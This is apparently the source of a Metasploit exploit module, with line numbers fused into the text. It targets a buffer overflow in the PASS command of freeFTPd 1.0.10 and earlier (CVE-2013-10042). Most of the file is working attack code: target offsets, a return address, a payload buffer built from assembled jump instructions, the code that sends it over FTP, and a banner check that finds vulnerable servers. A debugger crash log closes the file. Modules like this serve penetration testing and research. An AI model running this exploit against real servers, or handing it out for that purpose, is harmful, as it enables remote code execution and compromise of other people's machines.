Path: blob/master/modules/exploits/windows/ftp/freeftpd_pass.rb
32605 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => "freeFTPd PASS Command Buffer Overflow",15'Description' => %q{16freeFTPd 1.0.10 and below contains an overflow condition that is triggered as17user-supplied input is not properly validated when handling a specially crafted18PASS command. This may allow a remote attacker to cause a buffer overflow,19resulting in a denial of service or allow the execution of arbitrary code.2021freeFTPd must have an account set to authorization anonymous user account.22},23'License' => MSF_LICENSE,24'Author' => [25'Wireghoul', # Initial discovery, PoC26'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module27],28'References' => [29['CVE', '2013-10042'],30['OSVDB', '96517'],31['EDB', '27747'],32['BID', '61905']33],34'Payload' => {35'BadChars' => "\x00\x0a\x0d",36},37'Platform' => 'win',38'Arch' => ARCH_X86,39'Targets' => [40[41'freeFTPd 1.0.10 and below on Windows Desktop Version',42{43'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]44'Offset' => 801,45}46],47],48'Privileged' => false,49'DisclosureDate' => '2013-08-20',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options([60OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),6162])6364# We're triggering the bug via the PASS command, no point to have pass as configurable65# option.66deregister_options('FTPPASS')67end6869def check70connect71disconnect7273# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"74# when banner grabbing.75if banner =~ /freeFTPd 1\.0/76return Exploit::CheckCode::Appears77else78return Exploit::CheckCode::Safe7980end81end8283def exploit84connect85print_status("Trying target #{target.name} with user #{user()}...")8687off = target['Offset'] - 98889bof = payload.encoded90bof << rand_text(off - payload.encoded.length)91bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string92bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string93bof << rand_text(2)94bof << [target.ret].pack('V')9596send_user(datastore['FTPUSER'])97raw_send("PASS #{bof}\r\n")98disconnect99end100end101102=begin103(c78.ea4): Access violation - code c0000005 (first chance)104First chance exceptions are reported before any exception handling.105This exception may be expected and handled.106eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18107eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc108cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206109OLEAUT32!SysFreeString+0x55:11076c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????111112FAULTING_IP:113OLEAUT32!SysFreeString+5511476c23e8d ff36 push dword ptr [esi]115116EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)117ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)118ExceptionCode: c0000005 (Access violation)119ExceptionFlags: 00000000120NumberParameters: 2121Parameter[0]: 00000000122Parameter[1]: 4141413d123Attempt to read from address 4141413d124=end125126127